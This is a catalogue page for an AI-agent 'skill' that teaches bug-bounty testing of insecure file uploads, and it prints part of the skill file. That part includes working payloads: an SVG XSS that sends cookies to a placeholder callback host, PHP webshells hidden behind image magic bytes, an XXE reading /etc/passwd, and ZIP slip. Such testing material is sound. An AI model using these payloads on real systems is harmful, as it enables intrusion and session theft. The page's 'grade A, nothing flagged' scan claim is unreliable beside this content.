Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/insecure-file-uploadWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/insecure-file-upload/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/insecure-file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00006 | $0.01454 |
| Opus 5 | $0.00003 | $0.00727 |
| Sonnet 5 | $0.00001 | $0.00291 |
| Haiku 4.5 | $0.00001 | $0.00145 |
Grade A, and why
insecure-file-upload scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure File Upload
What Is Broken and Why
File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.
Key Signals
multipart/form-dataPOST endpoints accepting user files- File extensions accepted beyond images/docs (or poorly validated)
- Server echoes original filename in response or URL
- Files served from same origin as application (not separate CDN/domain)
- Archive extraction features (ZIP, tar)
- Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
- Image processing pipelines (ImageMagick, Pillow, libvips)
Methodology
- Upload a valid file; note the URL/path where it's stored and served.
- Check if files are served from same origin (XSS scope) or separate domain.
- Attempt extension bypass:
shell.php.jpg,shell.php%00.jpg,shell.jpg.php. - Modify
Content-Typetoimage/jpegwhile uploading a PHP/JSP file. - Prepend valid magic bytes to malicious content; attempt upload.
- Test SVG upload — inject
<svg onload="...">for XSS. - Test DOCX/XLSX upload with XXE payload inside XML.
- For archive extraction: craft ZIP with
../paths (ZIP slip). - Check if filename is reflected anywhere — test for path traversal and injection.
Payloads & Tools
# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>
# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
# Null byte bypass (older systems)
filename: shell.php%00.jpg
# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd
# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 146 lines · 0 tokens per session scan A 23ef88cb783c
insecure-file-upload is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 6 tokens to every session and 1,454 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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